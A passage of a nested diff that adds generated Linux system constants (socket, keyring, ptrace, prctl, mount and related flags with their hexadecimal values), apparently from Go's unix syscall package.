-+ IP_PMTUDISC_INTERFACE = 0x4
-+ IP_PMTUDISC_OMIT = 0x5
-+ IP_PMTUDISC_PROBE = 0x3
-+ IP_PMTUDISC_WANT = 0x1
-+ IP_RECVERR = 0xb
-+ IP_RECVFRAGSIZE = 0x19
-+ IP_RECVOPTS = 0x6
-+ IP_RECVORIGDSTADDR = 0x14
-+ IP_RECVRETOPTS = 0x7
-+ IP_RECVTOS = 0xd
-+ IP_RECVTTL = 0xc
-+ IP_RETOPTS = 0x7
-+ IP_RF = 0x8000
-+ IP_ROUTER_ALERT = 0x5
-+ IP_TOS = 0x1
-+ IP_TRANSPARENT = 0x13
-+ IP_TTL = 0x2
-+ IP_UNBLOCK_SOURCE = 0x25
-+ IP_UNICAST_IF = 0x32
-+ IP_XFRM_POLICY = 0x11
-+ ISOFS_SUPER_MAGIC = 0x9660
-+ ISTRIP = 0x20
-+ IUTF8 = 0x4000
-+ IXANY = 0x800
-+ JFFS2_SUPER_MAGIC = 0x72b6
-+ KEXEC_ARCH_386 = 0x30000
-+ KEXEC_ARCH_68K = 0x40000
-+ KEXEC_ARCH_AARCH64 = 0xb70000
-+ KEXEC_ARCH_ARM = 0x280000
-+ KEXEC_ARCH_DEFAULT = 0x0
-+ KEXEC_ARCH_IA_64 = 0x320000
-+ KEXEC_ARCH_MASK = 0xffff0000
-+ KEXEC_ARCH_MIPS = 0x80000
-+ KEXEC_ARCH_MIPS_LE = 0xa0000
-+ KEXEC_ARCH_PARISC = 0xf0000
-+ KEXEC_ARCH_PPC = 0x140000
-+ KEXEC_ARCH_PPC64 = 0x150000
-+ KEXEC_ARCH_S390 = 0x160000
-+ KEXEC_ARCH_SH = 0x2a0000
-+ KEXEC_ARCH_X86_64 = 0x3e0000
-+ KEXEC_FILE_NO_INITRAMFS = 0x4
-+ KEXEC_FILE_ON_CRASH = 0x2
-+ KEXEC_FILE_UNLOAD = 0x1
-+ KEXEC_ON_CRASH = 0x1
-+ KEXEC_PRESERVE_CONTEXT = 0x2
-+ KEXEC_SEGMENT_MAX = 0x10
-+ KEYCTL_ASSUME_AUTHORITY = 0x10
-+ KEYCTL_CAPABILITIES = 0x1f
-+ KEYCTL_CAPS0_BIG_KEY = 0x10
-+ KEYCTL_CAPS0_CAPABILITIES = 0x1
-+ KEYCTL_CAPS0_DIFFIE_HELLMAN = 0x4
-+ KEYCTL_CAPS0_INVALIDATE = 0x20
-+ KEYCTL_CAPS0_MOVE = 0x80
-+ KEYCTL_CAPS0_PERSISTENT_KEYRINGS = 0x2
-+ KEYCTL_CAPS0_PUBLIC_KEY = 0x8
-+ KEYCTL_CAPS0_RESTRICT_KEYRING = 0x40
-+ KEYCTL_CAPS1_NS_KEYRING_NAME = 0x1
-+ KEYCTL_CAPS1_NS_KEY_TAG = 0x2
-+ KEYCTL_CHOWN = 0x4
-+ KEYCTL_CLEAR = 0x7
-+ KEYCTL_DESCRIBE = 0x6
-+ KEYCTL_DH_COMPUTE = 0x17
-+ KEYCTL_GET_KEYRING_ID = 0x0
-+ KEYCTL_GET_PERSISTENT = 0x16
-+ KEYCTL_GET_SECURITY = 0x11
-+ KEYCTL_INSTANTIATE = 0xc
-+ KEYCTL_INSTANTIATE_IOV = 0x14
-+ KEYCTL_INVALIDATE = 0x15
-+ KEYCTL_JOIN_SESSION_KEYRING = 0x1
-+ KEYCTL_LINK = 0x8
-+ KEYCTL_MOVE = 0x1e
-+ KEYCTL_MOVE_EXCL = 0x1
-+ KEYCTL_NEGATE = 0xd
-+ KEYCTL_PKEY_DECRYPT = 0x1a
-+ KEYCTL_PKEY_ENCRYPT = 0x19
-+ KEYCTL_PKEY_QUERY = 0x18
-+ KEYCTL_PKEY_SIGN = 0x1b
-+ KEYCTL_PKEY_VERIFY = 0x1c
-+ KEYCTL_READ = 0xb
-+ KEYCTL_REJECT = 0x13
-+ KEYCTL_RESTRICT_KEYRING = 0x1d
-+ KEYCTL_REVOKE = 0x3
-+ KEYCTL_SEARCH = 0xa
-+ KEYCTL_SESSION_TO_PARENT = 0x12
-+ KEYCTL_SETPERM = 0x5
-+ KEYCTL_SET_REQKEY_KEYRING = 0xe
-+ KEYCTL_SET_TIMEOUT = 0xf
-+ KEYCTL_SUPPORTS_DECRYPT = 0x2
-+ KEYCTL_SUPPORTS_ENCRYPT = 0x1
-+ KEYCTL_SUPPORTS_SIGN = 0x4
-+ KEYCTL_SUPPORTS_VERIFY = 0x8
-+ KEYCTL_UNLINK = 0x9
-+ KEYCTL_UPDATE = 0x2
-+ KEY_REQKEY_DEFL_DEFAULT = 0x0
-+ KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-+ KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-+ KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-+ KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-+ KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-+ KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-+ KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-+ KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-+ KEY_SPEC_GROUP_KEYRING = -0x6
-+ KEY_SPEC_PROCESS_KEYRING = -0x2
-+ KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-+ KEY_SPEC_REQUESTOR_KEYRING = -0x8
-+ KEY_SPEC_SESSION_KEYRING = -0x3
-+ KEY_SPEC_THREAD_KEYRING = -0x1
-+ KEY_SPEC_USER_KEYRING = -0x4
-+ KEY_SPEC_USER_SESSION_KEYRING = -0x5
-+ LINUX_REBOOT_CMD_CAD_OFF = 0x0
-+ LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-+ LINUX_REBOOT_CMD_HALT = 0xcdef0123
-+ LINUX_REBOOT_CMD_KEXEC = 0x45584543
-+ LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-+ LINUX_REBOOT_CMD_RESTART = 0x1234567
-+ LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-+ LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-+ LINUX_REBOOT_MAGIC1 = 0xfee1dead
-+ LINUX_REBOOT_MAGIC2 = 0x28121969
-+ LOCK_EX = 0x2
-+ LOCK_NB = 0x4
-+ LOCK_SH = 0x1
-+ LOCK_UN = 0x8
-+ LOOP_CLR_FD = 0x4c01
-+ LOOP_CTL_ADD = 0x4c80
-+ LOOP_CTL_GET_FREE = 0x4c82
-+ LOOP_CTL_REMOVE = 0x4c81
-+ LOOP_GET_STATUS = 0x4c03
-+ LOOP_GET_STATUS64 = 0x4c05
-+ LOOP_SET_BLOCK_SIZE = 0x4c09
-+ LOOP_SET_CAPACITY = 0x4c07
-+ LOOP_SET_DIRECT_IO = 0x4c08
-+ LOOP_SET_FD = 0x4c00
-+ LOOP_SET_STATUS = 0x4c02
-+ LOOP_SET_STATUS64 = 0x4c04
-+ LO_KEY_SIZE = 0x20
-+ LO_NAME_SIZE = 0x40
-+ MADV_COLD = 0x14
-+ MADV_DODUMP = 0x11
-+ MADV_DOFORK = 0xb
-+ MADV_DONTDUMP = 0x10
-+ MADV_DONTFORK = 0xa
-+ MADV_DONTNEED = 0x4
-+ MADV_FREE = 0x8
-+ MADV_HUGEPAGE = 0xe
-+ MADV_HWPOISON = 0x64
-+ MADV_KEEPONFORK = 0x13
-+ MADV_MERGEABLE = 0xc
-+ MADV_NOHUGEPAGE = 0xf
-+ MADV_NORMAL = 0x0
-+ MADV_PAGEOUT = 0x15
-+ MADV_RANDOM = 0x1
-+ MADV_REMOVE = 0x9
-+ MADV_SEQUENTIAL = 0x2
-+ MADV_UNMERGEABLE = 0xd
-+ MADV_WILLNEED = 0x3
-+ MADV_WIPEONFORK = 0x12
-+ MAP_FILE = 0x0
-+ MAP_FIXED = 0x10
-+ MAP_FIXED_NOREPLACE = 0x100000
-+ MAP_HUGE_MASK = 0x3f
-+ MAP_HUGE_SHIFT = 0x1a
-+ MAP_PRIVATE = 0x2
-+ MAP_SHARED = 0x1
-+ MAP_SHARED_VALIDATE = 0x3
-+ MAP_TYPE = 0xf
-+ MCAST_BLOCK_SOURCE = 0x2b
-+ MCAST_EXCLUDE = 0x0
-+ MCAST_INCLUDE = 0x1
-+ MCAST_JOIN_GROUP = 0x2a
-+ MCAST_JOIN_SOURCE_GROUP = 0x2e
-+ MCAST_LEAVE_GROUP = 0x2d
-+ MCAST_LEAVE_SOURCE_GROUP = 0x2f
-+ MCAST_MSFILTER = 0x30
-+ MCAST_UNBLOCK_SOURCE = 0x2c
-+ MFD_ALLOW_SEALING = 0x2
-+ MFD_CLOEXEC = 0x1
-+ MFD_HUGETLB = 0x4
-+ MFD_HUGE_16GB = -0x78000000
-+ MFD_HUGE_16MB = 0x60000000
-+ MFD_HUGE_1GB = 0x78000000
-+ MFD_HUGE_1MB = 0x50000000
-+ MFD_HUGE_256MB = 0x70000000
-+ MFD_HUGE_2GB = 0x7c000000
-+ MFD_HUGE_2MB = 0x54000000
-+ MFD_HUGE_32MB = 0x64000000
-+ MFD_HUGE_512KB = 0x4c000000
-+ MFD_HUGE_512MB = 0x74000000
-+ MFD_HUGE_64KB = 0x40000000
-+ MFD_HUGE_8MB = 0x5c000000
-+ MFD_HUGE_MASK = 0x3f
-+ MFD_HUGE_SHIFT = 0x1a
-+ MINIX2_SUPER_MAGIC = 0x2468
-+ MINIX2_SUPER_MAGIC2 = 0x2478
-+ MINIX3_SUPER_MAGIC = 0x4d5a
-+ MINIX_SUPER_MAGIC = 0x137f
-+ MINIX_SUPER_MAGIC2 = 0x138f
-+ MNT_DETACH = 0x2
-+ MNT_EXPIRE = 0x4
-+ MNT_FORCE = 0x1
-+ MODULE_INIT_IGNORE_MODVERSIONS = 0x1
-+ MODULE_INIT_IGNORE_VERMAGIC = 0x2
-+ MSDOS_SUPER_MAGIC = 0x4d44
-+ MSG_BATCH = 0x40000
-+ MSG_CMSG_CLOEXEC = 0x40000000
-+ MSG_CONFIRM = 0x800
-+ MSG_CTRUNC = 0x8
-+ MSG_DONTROUTE = 0x4
-+ MSG_DONTWAIT = 0x40
-+ MSG_EOR = 0x80
-+ MSG_ERRQUEUE = 0x2000
-+ MSG_FASTOPEN = 0x20000000
-+ MSG_FIN = 0x200
-+ MSG_MORE = 0x8000
-+ MSG_NOSIGNAL = 0x4000
-+ MSG_OOB = 0x1
-+ MSG_PEEK = 0x2
-+ MSG_PROXY = 0x10
-+ MSG_RST = 0x1000
-+ MSG_SYN = 0x400
-+ MSG_TRUNC = 0x20
-+ MSG_TRYHARD = 0x4
-+ MSG_WAITALL = 0x100
-+ MSG_WAITFORONE = 0x10000
-+ MSG_ZEROCOPY = 0x4000000
-+ MS_ACTIVE = 0x40000000
-+ MS_ASYNC = 0x1
-+ MS_BIND = 0x1000
-+ MS_BORN = 0x20000000
-+ MS_DIRSYNC = 0x80
-+ MS_INVALIDATE = 0x2
-+ MS_I_VERSION = 0x800000
-+ MS_KERNMOUNT = 0x400000
-+ MS_LAZYTIME = 0x2000000
-+ MS_MANDLOCK = 0x40
-+ MS_MGC_MSK = 0xffff0000
-+ MS_MGC_VAL = 0xc0ed0000
-+ MS_MOVE = 0x2000
-+ MS_NOATIME = 0x400
-+ MS_NODEV = 0x4
-+ MS_NODIRATIME = 0x800
-+ MS_NOEXEC = 0x8
-+ MS_NOREMOTELOCK = 0x8000000
-+ MS_NOSEC = 0x10000000
-+ MS_NOSUID = 0x2
-+ MS_NOUSER = -0x80000000
-+ MS_POSIXACL = 0x10000
-+ MS_PRIVATE = 0x40000
-+ MS_RDONLY = 0x1
-+ MS_REC = 0x4000
-+ MS_RELATIME = 0x200000
-+ MS_REMOUNT = 0x20
-+ MS_RMT_MASK = 0x2800051
-+ MS_SHARED = 0x100000
-+ MS_SILENT = 0x8000
-+ MS_SLAVE = 0x80000
-+ MS_STRICTATIME = 0x1000000
-+ MS_SUBMOUNT = 0x4000000
-+ MS_SYNC = 0x4
-+ MS_SYNCHRONOUS = 0x10
-+ MS_UNBINDABLE = 0x20000
-+ MS_VERBOSE = 0x8000
-+ MTD_INODE_FS_MAGIC = 0x11307854
-+ NAME_MAX = 0xff
-+ NCP_SUPER_MAGIC = 0x564c
-+ NETLINK_ADD_MEMBERSHIP = 0x1
-+ NETLINK_AUDIT = 0x9
-+ NETLINK_BROADCAST_ERROR = 0x4
-+ NETLINK_CAP_ACK = 0xa
-+ NETLINK_CONNECTOR = 0xb
-+ NETLINK_CRYPTO = 0x15
-+ NETLINK_DNRTMSG = 0xe
-+ NETLINK_DROP_MEMBERSHIP = 0x2
-+ NETLINK_ECRYPTFS = 0x13
-+ NETLINK_EXT_ACK = 0xb
-+ NETLINK_FIB_LOOKUP = 0xa
-+ NETLINK_FIREWALL = 0x3
-+ NETLINK_GENERIC = 0x10
-+ NETLINK_GET_STRICT_CHK = 0xc
-+ NETLINK_INET_DIAG = 0x4
-+ NETLINK_IP6_FW = 0xd
-+ NETLINK_ISCSI = 0x8
-+ NETLINK_KOBJECT_UEVENT = 0xf
-+ NETLINK_LISTEN_ALL_NSID = 0x8
-+ NETLINK_LIST_MEMBERSHIPS = 0x9
-+ NETLINK_NETFILTER = 0xc
-+ NETLINK_NFLOG = 0x5
-+ NETLINK_NO_ENOBUFS = 0x5
-+ NETLINK_PKTINFO = 0x3
-+ NETLINK_RDMA = 0x14
-+ NETLINK_ROUTE = 0x0
-+ NETLINK_RX_RING = 0x6
-+ NETLINK_SCSITRANSPORT = 0x12
-+ NETLINK_SELINUX = 0x7
-+ NETLINK_SMC = 0x16
-+ NETLINK_SOCK_DIAG = 0x4
-+ NETLINK_TX_RING = 0x7
-+ NETLINK_UNUSED = 0x1
-+ NETLINK_USERSOCK = 0x2
-+ NETLINK_XFRM = 0x6
-+ NETNSA_MAX = 0x5
-+ NETNSA_NSID_NOT_ASSIGNED = -0x1
-+ NFNETLINK_V0 = 0x0
-+ NFNLGRP_ACCT_QUOTA = 0x8
-+ NFNLGRP_CONNTRACK_DESTROY = 0x3
-+ NFNLGRP_CONNTRACK_EXP_DESTROY = 0x6
-+ NFNLGRP_CONNTRACK_EXP_NEW = 0x4
-+ NFNLGRP_CONNTRACK_EXP_UPDATE = 0x5
-+ NFNLGRP_CONNTRACK_NEW = 0x1
-+ NFNLGRP_CONNTRACK_UPDATE = 0x2
-+ NFNLGRP_MAX = 0x9
-+ NFNLGRP_NFTABLES = 0x7
-+ NFNLGRP_NFTRACE = 0x9
-+ NFNLGRP_NONE = 0x0
-+ NFNL_BATCH_MAX = 0x1
-+ NFNL_MSG_BATCH_BEGIN = 0x10
-+ NFNL_MSG_BATCH_END = 0x11
-+ NFNL_NFA_NEST = 0x8000
-+ NFNL_SUBSYS_ACCT = 0x7
-+ NFNL_SUBSYS_COUNT = 0xc
-+ NFNL_SUBSYS_CTHELPER = 0x9
-+ NFNL_SUBSYS_CTNETLINK = 0x1
-+ NFNL_SUBSYS_CTNETLINK_EXP = 0x2
-+ NFNL_SUBSYS_CTNETLINK_TIMEOUT = 0x8
-+ NFNL_SUBSYS_IPSET = 0x6
-+ NFNL_SUBSYS_NFTABLES = 0xa
-+ NFNL_SUBSYS_NFT_COMPAT = 0xb
-+ NFNL_SUBSYS_NONE = 0x0
-+ NFNL_SUBSYS_OSF = 0x5
-+ NFNL_SUBSYS_QUEUE = 0x3
-+ NFNL_SUBSYS_ULOG = 0x4
-+ NFS_SUPER_MAGIC = 0x6969
-+ NILFS_SUPER_MAGIC = 0x3434
-+ NL0 = 0x0
-+ NL1 = 0x100
-+ NLA_ALIGNTO = 0x4
-+ NLA_F_NESTED = 0x8000
-+ NLA_F_NET_BYTEORDER = 0x4000
-+ NLA_HDRLEN = 0x4
-+ NLMSG_ALIGNTO = 0x4
-+ NLMSG_DONE = 0x3
-+ NLMSG_ERROR = 0x2
-+ NLMSG_HDRLEN = 0x10
-+ NLMSG_MIN_TYPE = 0x10
-+ NLMSG_NOOP = 0x1
-+ NLMSG_OVERRUN = 0x4
-+ NLM_F_ACK = 0x4
-+ NLM_F_ACK_TLVS = 0x200
-+ NLM_F_APPEND = 0x800
-+ NLM_F_ATOMIC = 0x400
-+ NLM_F_CAPPED = 0x100
-+ NLM_F_CREATE = 0x400
-+ NLM_F_DUMP = 0x300
-+ NLM_F_DUMP_FILTERED = 0x20
-+ NLM_F_DUMP_INTR = 0x10
-+ NLM_F_ECHO = 0x8
-+ NLM_F_EXCL = 0x200
-+ NLM_F_MATCH = 0x200
-+ NLM_F_MULTI = 0x2
-+ NLM_F_NONREC = 0x100
-+ NLM_F_REPLACE = 0x100
-+ NLM_F_REQUEST = 0x1
-+ NLM_F_ROOT = 0x100
-+ NSFS_MAGIC = 0x6e736673
-+ OCFS2_SUPER_MAGIC = 0x7461636f
-+ OCRNL = 0x8
-+ OFDEL = 0x80
-+ OFILL = 0x40
-+ ONLRET = 0x20
-+ ONOCR = 0x10
-+ OPENPROM_SUPER_MAGIC = 0x9fa1
-+ OPOST = 0x1
-+ OVERLAYFS_SUPER_MAGIC = 0x794c7630
-+ O_ACCMODE = 0x3
-+ O_RDONLY = 0x0
-+ O_RDWR = 0x2
-+ O_WRONLY = 0x1
-+ PACKET_ADD_MEMBERSHIP = 0x1
-+ PACKET_AUXDATA = 0x8
-+ PACKET_BROADCAST = 0x1
-+ PACKET_COPY_THRESH = 0x7
-+ PACKET_DROP_MEMBERSHIP = 0x2
-+ PACKET_FANOUT = 0x12
-+ PACKET_FANOUT_CBPF = 0x6
-+ PACKET_FANOUT_CPU = 0x2
-+ PACKET_FANOUT_DATA = 0x16
-+ PACKET_FANOUT_EBPF = 0x7
-+ PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-+ PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-+ PACKET_FANOUT_FLAG_UNIQUEID = 0x2000
-+ PACKET_FANOUT_HASH = 0x0
-+ PACKET_FANOUT_LB = 0x1
-+ PACKET_FANOUT_QM = 0x5
-+ PACKET_FANOUT_RND = 0x4
-+ PACKET_FANOUT_ROLLOVER = 0x3
-+ PACKET_FASTROUTE = 0x6
-+ PACKET_HDRLEN = 0xb
-+ PACKET_HOST = 0x0
-+ PACKET_IGNORE_OUTGOING = 0x17
-+ PACKET_KERNEL = 0x7
-+ PACKET_LOOPBACK = 0x5
-+ PACKET_LOSS = 0xe
-+ PACKET_MR_ALLMULTI = 0x2
-+ PACKET_MR_MULTICAST = 0x0
-+ PACKET_MR_PROMISC = 0x1
-+ PACKET_MR_UNICAST = 0x3
-+ PACKET_MULTICAST = 0x2
-+ PACKET_ORIGDEV = 0x9
-+ PACKET_OTHERHOST = 0x3
-+ PACKET_OUTGOING = 0x4
-+ PACKET_QDISC_BYPASS = 0x14
-+ PACKET_RECV_OUTPUT = 0x3
-+ PACKET_RESERVE = 0xc
-+ PACKET_ROLLOVER_STATS = 0x15
-+ PACKET_RX_RING = 0x5
-+ PACKET_STATISTICS = 0x6
-+ PACKET_TIMESTAMP = 0x11
-+ PACKET_TX_HAS_OFF = 0x13
-+ PACKET_TX_RING = 0xd
-+ PACKET_TX_TIMESTAMP = 0x10
-+ PACKET_USER = 0x6
-+ PACKET_VERSION = 0xa
-+ PACKET_VNET_HDR = 0xf
-+ PARITY_CRC16_PR0 = 0x2
-+ PARITY_CRC16_PR0_CCITT = 0x4
-+ PARITY_CRC16_PR1 = 0x3
-+ PARITY_CRC16_PR1_CCITT = 0x5
-+ PARITY_CRC32_PR0_CCITT = 0x6
-+ PARITY_CRC32_PR1_CCITT = 0x7
-+ PARITY_DEFAULT = 0x0
-+ PARITY_NONE = 0x1
-+ PARMRK = 0x8
-+ PIPEFS_MAGIC = 0x50495045
-+ PPC_CMM_MAGIC = 0xc7571590
-+ PPPIOCGNPMODE = 0xc008744c
-+ PPPIOCNEWUNIT = 0xc004743e
-+ PRIO_PGRP = 0x1
-+ PRIO_PROCESS = 0x0
-+ PRIO_USER = 0x2
-+ PROC_SUPER_MAGIC = 0x9fa0
-+ PROT_EXEC = 0x4
-+ PROT_GROWSDOWN = 0x1000000
-+ PROT_GROWSUP = 0x2000000
-+ PROT_NONE = 0x0
-+ PROT_READ = 0x1
-+ PROT_WRITE = 0x2
-+ PR_CAPBSET_DROP = 0x18
-+ PR_CAPBSET_READ = 0x17
-+ PR_CAP_AMBIENT = 0x2f
-+ PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-+ PR_CAP_AMBIENT_IS_SET = 0x1
-+ PR_CAP_AMBIENT_LOWER = 0x3
-+ PR_CAP_AMBIENT_RAISE = 0x2
-+ PR_ENDIAN_BIG = 0x0
-+ PR_ENDIAN_LITTLE = 0x1
-+ PR_ENDIAN_PPC_LITTLE = 0x2
-+ PR_FPEMU_NOPRINT = 0x1
-+ PR_FPEMU_SIGFPE = 0x2
-+ PR_FP_EXC_ASYNC = 0x2
-+ PR_FP_EXC_DISABLED = 0x0
-+ PR_FP_EXC_DIV = 0x10000
-+ PR_FP_EXC_INV = 0x100000
-+ PR_FP_EXC_NONRECOV = 0x1
-+ PR_FP_EXC_OVF = 0x20000
-+ PR_FP_EXC_PRECISE = 0x3
-+ PR_FP_EXC_RES = 0x80000
-+ PR_FP_EXC_SW_ENABLE = 0x80
-+ PR_FP_EXC_UND = 0x40000
-+ PR_FP_MODE_FR = 0x1
-+ PR_FP_MODE_FRE = 0x2
-+ PR_GET_CHILD_SUBREAPER = 0x25
-+ PR_GET_DUMPABLE = 0x3
-+ PR_GET_ENDIAN = 0x13
-+ PR_GET_FPEMU = 0x9
-+ PR_GET_FPEXC = 0xb
-+ PR_GET_FP_MODE = 0x2e
-+ PR_GET_IO_FLUSHER = 0x3a
-+ PR_GET_KEEPCAPS = 0x7
-+ PR_GET_NAME = 0x10
-+ PR_GET_NO_NEW_PRIVS = 0x27
-+ PR_GET_PDEATHSIG = 0x2
-+ PR_GET_SECCOMP = 0x15
-+ PR_GET_SECUREBITS = 0x1b
-+ PR_GET_SPECULATION_CTRL = 0x34
-+ PR_GET_TAGGED_ADDR_CTRL = 0x38
-+ PR_GET_THP_DISABLE = 0x2a
-+ PR_GET_TID_ADDRESS = 0x28
-+ PR_GET_TIMERSLACK = 0x1e
-+ PR_GET_TIMING = 0xd
-+ PR_GET_TSC = 0x19
-+ PR_GET_UNALIGN = 0x5
-+ PR_MCE_KILL = 0x21
-+ PR_MCE_KILL_CLEAR = 0x0
-+ PR_MCE_KILL_DEFAULT = 0x2
-+ PR_MCE_KILL_EARLY = 0x1
-+ PR_MCE_KILL_GET = 0x22
-+ PR_MCE_KILL_LATE = 0x0
-+ PR_MCE_KILL_SET = 0x1
-+ PR_MPX_DISABLE_MANAGEMENT = 0x2c
-+ PR_MPX_ENABLE_MANAGEMENT = 0x2b
-+ PR_PAC_APDAKEY = 0x4
-+ PR_PAC_APDBKEY = 0x8
-+ PR_PAC_APGAKEY = 0x10
-+ PR_PAC_APIAKEY = 0x1
-+ PR_PAC_APIBKEY = 0x2
-+ PR_PAC_RESET_KEYS = 0x36
-+ PR_SET_CHILD_SUBREAPER = 0x24
-+ PR_SET_DUMPABLE = 0x4
-+ PR_SET_ENDIAN = 0x14
-+ PR_SET_FPEMU = 0xa
-+ PR_SET_FPEXC = 0xc
-+ PR_SET_FP_MODE = 0x2d
-+ PR_SET_IO_FLUSHER = 0x39
-+ PR_SET_KEEPCAPS = 0x8
-+ PR_SET_MM = 0x23
-+ PR_SET_MM_ARG_END = 0x9
-+ PR_SET_MM_ARG_START = 0x8
-+ PR_SET_MM_AUXV = 0xc
-+ PR_SET_MM_BRK = 0x7
-+ PR_SET_MM_END_CODE = 0x2
-+ PR_SET_MM_END_DATA = 0x4
-+ PR_SET_MM_ENV_END = 0xb
-+ PR_SET_MM_ENV_START = 0xa
-+ PR_SET_MM_EXE_FILE = 0xd
-+ PR_SET_MM_MAP = 0xe
-+ PR_SET_MM_MAP_SIZE = 0xf
-+ PR_SET_MM_START_BRK = 0x6
-+ PR_SET_MM_START_CODE = 0x1
-+ PR_SET_MM_START_DATA = 0x3
-+ PR_SET_MM_START_STACK = 0x5
-+ PR_SET_NAME = 0xf
-+ PR_SET_NO_NEW_PRIVS = 0x26
-+ PR_SET_PDEATHSIG = 0x1
-+ PR_SET_PTRACER = 0x59616d61
-+ PR_SET_SECCOMP = 0x16
-+ PR_SET_SECUREBITS = 0x1c
-+ PR_SET_SPECULATION_CTRL = 0x35
-+ PR_SET_TAGGED_ADDR_CTRL = 0x37
-+ PR_SET_THP_DISABLE = 0x29
-+ PR_SET_TIMERSLACK = 0x1d
-+ PR_SET_TIMING = 0xe
-+ PR_SET_TSC = 0x1a
-+ PR_SET_UNALIGN = 0x6
-+ PR_SPEC_DISABLE = 0x4
-+ PR_SPEC_DISABLE_NOEXEC = 0x10
-+ PR_SPEC_ENABLE = 0x2
-+ PR_SPEC_FORCE_DISABLE = 0x8
-+ PR_SPEC_INDIRECT_BRANCH = 0x1
-+ PR_SPEC_NOT_AFFECTED = 0x0
-+ PR_SPEC_PRCTL = 0x1
-+ PR_SPEC_STORE_BYPASS = 0x0
-+ PR_SVE_GET_VL = 0x33
-+ PR_SVE_SET_VL = 0x32
-+ PR_SVE_SET_VL_ONEXEC = 0x40000
-+ PR_SVE_VL_INHERIT = 0x20000
-+ PR_SVE_VL_LEN_MASK = 0xffff
-+ PR_TAGGED_ADDR_ENABLE = 0x1
-+ PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-+ PR_TASK_PERF_EVENTS_ENABLE = 0x20
-+ PR_TIMING_STATISTICAL = 0x0
-+ PR_TIMING_TIMESTAMP = 0x1
-+ PR_TSC_ENABLE = 0x1
-+ PR_TSC_SIGSEGV = 0x2
-+ PR_UNALIGN_NOPRINT = 0x1
-+ PR_UNALIGN_SIGBUS = 0x2
-+ PSTOREFS_MAGIC = 0x6165676c
-+ PTRACE_ATTACH = 0x10
-+ PTRACE_CONT = 0x7
-+ PTRACE_DETACH = 0x11
-+ PTRACE_EVENTMSG_SYSCALL_ENTRY = 0x1
-+ PTRACE_EVENTMSG_SYSCALL_EXIT = 0x2
-+ PTRACE_EVENT_CLONE = 0x3
-+ PTRACE_EVENT_EXEC = 0x4
-+ PTRACE_EVENT_EXIT = 0x6
-+ PTRACE_EVENT_FORK = 0x1
-+ PTRACE_EVENT_SECCOMP = 0x7
-+ PTRACE_EVENT_STOP = 0x80
-+ PTRACE_EVENT_VFORK = 0x2
-+ PTRACE_EVENT_VFORK_DONE = 0x5
-+ PTRACE_GETEVENTMSG = 0x4201
-+ PTRACE_GETREGS = 0xc
-+ PTRACE_GETREGSET = 0x4204
-+ PTRACE_GETSIGINFO = 0x4202
-+ PTRACE_GETSIGMASK = 0x420a
-+ PTRACE_GET_SYSCALL_INFO = 0x420e
-+ PTRACE_INTERRUPT = 0x4207
-+ PTRACE_KILL = 0x8
-+ PTRACE_LISTEN = 0x4208
-+ PTRACE_O_EXITKILL = 0x100000
-+ PTRACE_O_MASK = 0x3000ff
-+ PTRACE_O_SUSPEND_SECCOMP = 0x200000
-+ PTRACE_O_TRACECLONE = 0x8
-+ PTRACE_O_TRACEEXEC = 0x10
-+ PTRACE_O_TRACEEXIT = 0x40
-+ PTRACE_O_TRACEFORK = 0x2
-+ PTRACE_O_TRACESECCOMP = 0x80
-+ PTRACE_O_TRACESYSGOOD = 0x1
-+ PTRACE_O_TRACEVFORK = 0x4
-+ PTRACE_O_TRACEVFORKDONE = 0x20
-+ PTRACE_PEEKDATA = 0x2
-+ PTRACE_PEEKSIGINFO = 0x4209
-+ PTRACE_PEEKSIGINFO_SHARED = 0x1
-+ PTRACE_PEEKTEXT = 0x1
-+ PTRACE_PEEKUSR = 0x3
-+ PTRACE_POKEDATA = 0x5
-+ PTRACE_POKETEXT = 0x4
-+ PTRACE_POKEUSR = 0x6
-+ PTRACE_SECCOMP_GET_FILTER = 0x420c
-+ PTRACE_SECCOMP_GET_METADATA = 0x420d
-+ PTRACE_SEIZE = 0x4206
-+ PTRACE_SETOPTIONS = 0x4200
-+ PTRACE_SETREGS = 0xd
-+ PTRACE_SETREGSET = 0x4205
-+ PTRACE_SETSIGINFO = 0x4203
-+ PTRACE_SETSIGMASK = 0x420b
-+ PTRACE_SINGLESTEP = 0x9
-+ PTRACE_SYSCALL = 0x18
-+ PTRACE_SYSCALL_INFO_ENTRY = 0x1
-+ PTRACE_SYSCALL_INFO_EXIT = 0x2
-+ PTRACE_SYSCALL_INFO_NONE = 0x0
-+ PTRACE_SYSCALL_INFO_SECCOMP = 0x3
-+ PTRACE_TRACEME = 0x0
-+ QNX4_SUPER_MAGIC = 0x2f
-+ QNX6_SUPER_MAGIC = 0x68191122
-+ RAMFS_MAGIC = 0x858458f6
-+ RDTGROUP_SUPER_MAGIC = 0x7655821
-+ REISERFS_SUPER_MAGIC = 0x52654973
-+ RENAME_EXCHANGE = 0x2
-+ RENAME_NOREPLACE = 0x1
-+ RENAME_WHITEOUT = 0x4
-+ RLIMIT_CORE = 0x4
-+ RLIMIT_CPU = 0x0
-+ RLIMIT_DATA = 0x2
-+ RLIMIT_FSIZE = 0x1
-+ RLIMIT_LOCKS = 0xa
-+ RLIMIT_MSGQUEUE = 0xc
-+ RLIMIT_NICE = 0xd
-+ RLIMIT_RTPRIO = 0xe
-+ RLIMIT_RTTIME = 0xf
-+ RLIMIT_SIGPENDING = 0xb
-+ RLIMIT_STACK = 0x3
-+ RLIM_INFINITY = 0xffffffffffffffff
-+ RTAX_ADVMSS = 0x8
-+ RTAX_CC_ALGO = 0x10
-+ RTAX_CWND = 0x7
-+ RTAX_FASTOPEN_NO_COOKIE = 0x11
-+ RTAX_FEATURES = 0xc
